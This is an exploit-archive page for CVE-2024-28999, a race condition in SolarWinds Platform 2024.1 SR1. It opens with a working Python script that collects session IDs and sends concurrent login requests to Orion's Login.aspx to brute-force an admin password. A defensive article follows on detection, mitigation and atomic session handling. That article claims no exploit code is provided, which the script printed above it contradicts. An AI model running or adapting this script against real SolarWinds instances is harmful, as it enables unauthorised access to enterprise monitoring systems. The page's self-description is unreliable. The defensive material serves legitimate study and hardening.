SolarWinds Platform 2024.1 SR1 - Race Condition

Exploit Author: Elhussain Fathy Analysis Author: www.bubbleslearn.ir Category: WebApps Language: Python Published Date: 2024-06-26 
# Exploit Title: SolarWinds Platform 2024.1 SR1 - Race Condition
# CVE: CVE-2024-28999
# Affected Versions: SolarWinds Platform 2024.1 SR 1 and previous versions
# Author: Elhussain Fathy, AKA 0xSphinx

import requests
import urllib3
import asyncio
import aiohttp
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
http = urllib3.PoolManager(cert_reqs='CERT_REQUIRED')

# host = '192.168.1.1'
# username = "admin"
# file_path = "passwords.txt"

host = input("Enter the host: ")
username = input("Enter the username: ")
file_path = input("Enter the passwords file path: ")
exploited = 0

url = f"https://{host}:443/Orion/Login.aspx?ReturnUrl=%2F"

passwords = []
with open(file_path, 'r') as file:
    for line in file:
        word = line.strip()
        passwords.append(word)
print(f"Number of tested passwords: {len(passwords)}")


headers = {
    'Host': host,
}

sessions = []

for _ in range(len(passwords)):
    response = requests.get(url, headers=headers, verify=False, stream=False)
    cookies = response.headers.get('Set-Cookie', '')
    session_id = cookies.split('ASP.NET_SessionId=')[1].split(';')[0]
    sessions.append(session_id)




async def send_request(session, username, password):
    headers = {
        'Host': host,  
        'Content-Type': 'application/x-www-form-urlencoded',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
        'Cookie': f'ASP.NET_SessionId={session}; TestCookieSupport=Supported; Orion_IsSessionExp=TRUE',
    }

    data = f'__EVENTTARGET=ctl00%24BodyContent%24LoginButton&__EVENTARGUMENT=&__VIEWSTATE=AEQKNijmHeR5jZhMrrXSjzPRqhTz%2BoTqkfNmc3EcMLtc%2FIjqS37FtvDMFn83yUTgHBJIlMRHwO0UVUVzwcg2cO%2B%2Fo2CEYGVzjB1Ume1UkrvCOFyR08HjFGUJOR4q9GX0fmhVTsvXxy7A2hH64m5FBZTL9dfXDZnQ1gUvFp%2BleWgLTRssEtTuAqQQxOLA3nQ6n9Yx%2FL4QDSnEfB3b%2FlSWw8Xruui0YR5kuN%2BjoOH%2BEC%2B4wfZ1%2BCwYOs%2BLmIMjrK9TDFNcWTUg6HHiAn%2By%2B5wWpsj7qiJG3%2F1uhWb8fFc8Mik%3D&__VIEWSTATEGENERATOR=01070692&ctl00%24BodyContent%24Username={username}&ctl00%24BodyContent%24Password={password}'

    async with aiohttp.ClientSession() as session:
        async with session.post(url, headers=headers, data=data, ssl=False, allow_redirects=False) as response:
            if response.status == 302:
                global exploited
                exploited = 1
                print(f"Exploited Successfully Username: {username}, Password: {password}")


async def main():
    tasks = []
    for i in range(len(passwords)):
        session = sessions[i]
        password = passwords[i]
        task = asyncio.create_task(send_request(session, username, password))
        tasks.append(task)
    await asyncio.gather(*tasks)

asyncio.run(main())

if(not exploited):
    print("Exploitation Failed")


SolarWinds Platform 2024.1 SR1 — CVE-2024-28999 (Race Condition): Overview, Impact, Detection, and Mitigation

This article provides a technical yet non-actionable analysis of CVE-2024-28999, a race-condition vulnerability affecting SolarWinds Platform 2024.1 SR1 and earlier releases. The goal is to explain how race-condition flaws arise, outline potential impacts, describe detection strategies, and recommend hardening and remediation steps for defenders and developers. This content focuses on defensive, high-level guidance and safe remediation—no exploit code or step-by-step attack instructions are provided.

Quick summary

ItemDetails
CVECVE-2024-28999
AffectedSolarWinds Platform 2024.1 SR1 and prior (vendor advisory should be consulted for exact builds)
Vulnerability typeRace condition in authentication/session handling
Primary riskAuthentication bypass, session hijacking, or elevation-of-privilege under certain concurrent request conditions

What is a race condition?

A race condition occurs when two or more concurrent operations interact with shared state and lack proper synchronization, causing outcomes that depend on timing. In web applications, common shared state includes session records, authentication tokens, counters, or temporary files. When code assumes a single-threaded or ordered access pattern, concurrent requests can produce inconsistent state transitions—sometimes allowing bypass of intended checks.

How a race condition can affect authentication/session logic

  • Two or more requests simultaneously attempt to create or validate a session. Without atomic checks/updates, a server may accept an unauthenticated request or reuse an invalid session ID.
  • Race conditions can be exploited by sending many overlapping requests that change the timing of validation and state updates, sometimes causing the server to skip or mis-evaluate critical checks.
  • Consequences range from temporary privilege escalation to full authentication bypass depending on where synchronization is missing.

Potential impact for SolarWinds Platform

  • Unauthorized access to the SolarWinds UI or API if authentication/session checks are circumvented.
  • Ability to execute administrative actions or extract configuration and credential data depending on the account targeted.
  • Supply-chain and monitoring integrity concerns—compromise of SolarWinds instances can affect downstream systems that rely on them for telemetry and orchestration.

Detection and indicators of suspicious activity

Because race-condition exploitation relies on concurrency and abnormal request patterns, detection relies on observing atypical access patterns and state anomalies.

  • Spikes in closely timed login attempts from the same source IP or range.
  • High volume of near-simultaneous requests that target authentication endpoints, especially from a narrow time window.
  • Logs showing rapid sequence of session creations for a single account or many sessions created and immediately reused.
  • Unexpected 302/redirect behavior or inconsistent response codes around authentication attempts when compared to baseline behavior.
  • Access to privileged endpoints using recently issued sessions or sessions created from ephemeral IPs at odd times.

Immediate mitigation and recommended remediation

  • Patch first: Apply the vendor-supplied security update or hotfix for SolarWinds Platform as soon as possible. Vendors typically release fixes that remove the race condition or add synchronization and additional server-side checks.
  • Restrict access: Limit external access to management interfaces using network controls: firewalls, VPNs, or allowlists. Place SolarWinds UI/API behind trusted management networks.
  • Enforce multifactor authentication (MFA): Require MFA for all administrative accounts to reduce risk even if an authentication bypass is attempted.
  • Rotate credentials: For high-privilege local accounts or service accounts that accessed SolarWinds, rotate passwords and API keys after patching and investigation.
  • Session invalidation: After patching, force logout of active sessions, particularly for administrative users, and invalidate session caches/tokens.
  • Rate limiting and WAF: Deploy per-IP and global rate limiting for authentication endpoints. Use WAF rules to detect and throttle highly concurrent request patterns.
  • Network segmentation: Reduce blast radius by isolating monitoring and management systems from general user networks and production systems.

Secure design patterns to prevent similar race conditions

Below are high-level, non-executable examples and patterns to illustrate safe approaches. These are intended for developers and architects to adopt—not as an exploit or replication of the issue.

# Pseudocode: safe session creation using atomic database transaction (conceptual)
BEGIN TRANSACTION
  -- check if session already exists for provided identifier (if single-session policy)
  SELECT state FROM sessions WHERE user_id = :user_id FOR UPDATE;
  -- perform authentication checks (password hash, MFA, etc.)
  IF authentication_succeeds THEN
    -- create a single, new session atomically
    DELETE FROM sessions WHERE user_id = :user_id;
    INSERT INTO sessions (session_id, user_id, created_at, expires_at) VALUES (...);
  ELSE
    -- record failed attempt
    INSERT INTO auth_attempts (...);
  END IF
COMMIT TRANSACTION

Explanation: Illustrative pseudocode above uses a database-level transaction and row-level locking (FOR UPDATE) to ensure that concurrent login attempts are serialized for a given user_id. The atomic transaction prevents two requests from simultaneously creating conflicting session state. Implementations should use the persistence primitives appropriate to their backend (RDBMS transactions, distributed locks, or strong compare-and-set operations in key-value stores).

# Pseudocode: request-level safeguards (conceptual)
function handleLogin(request):
  enforceRateLimit(request.ip)
  verifyCsrf(request)
  requireStrongAuth(request)  # password + MFA
  # use server-managed single-use nonce on the authentication form
  validateAndConsumeNonce(request.nonce)
  # generate cryptographically random session token server-side
  token = secureRandomToken()
  storeSessionAtomically(user_id, token)
  setSecureCookie(token)

Explanation: This high-level pseudocode demonstrates defense-in-depth: rate limiting, CSRF protection, server-side nonces to prevent replay, cryptographically strong session tokens, and atomic storage of session state. These practices make timing attacks and concurrent exploitation far harder or impossible.

Logging, monitoring, and detection tuning

  • Instrument authentication endpoints to record request timestamps, client IP, User-Agent, and server decision path (success, failure, reason).
  • Alert on unusual patterns such as a sudden rise in authentication attempts, many concurrent sessions issued for the same account, or rapid shifts from failed-to-successful logins in a short window.
  • Correlate monitoring data with network flow logs and SIEM to identify clustered sources or botnet-like distributions.

Incident response checklist

  • Isolate affected hosts and preserve volatile evidence (memory, network captures) if compromise is suspected.
  • Collect and secure application and web server logs, authentication logs, and system logs for forensic review.
  • Rotate credentials for administrative and service accounts that touch the SolarWinds instance.
  • Apply vendor patches, then validate correct behavior and absence of suspicious session anomalies.
  • Consider a thorough review of what the SolarWinds instance monitors and access it had—check downstream systems for signs of pivoting or lateral movement.
  • Notify stakeholders and follow legal/regulatory obligations for breach reporting where applicable.

Best-practice hardening checklist for SolarWinds deployments

  • Keep platform and all dependencies fully patched per vendor advisories.
  • Restrict UI/API access to a management network or require VPN access.
  • Enable MFA for all administrative and operator accounts.
  • Use network segmentation and least-privilege for service accounts.
  • Ensure robust logging, SIEM integration, and alerting for abnormal authentication patterns.
  • Periodically review and rotate credentials and keys used by the platform.

Closing notes

CVE-2024-28999 highlights how concurrency bugs in authentication and session handling can translate to serious risk in enterprise monitoring platforms. The most effective defenses are timely patching, network controls, multi-factor authentication, atomic session management, rate limiting, and vigilant detection. Developers should adopt transactional or locking primitives appropriate to their backend and enforce server-side, atomic validation for all sensitive state transitions.

References and follow-up

  • Consult the vendor security advisory for SolarWinds Platform for the official patch, mitigation steps, and CVSS details.
  • Review internal architecture to identify other shared-state operations that might be vulnerable to concurrency issues.
  • Engage your incident response and threat-intelligence teams if you observe any indicators described above.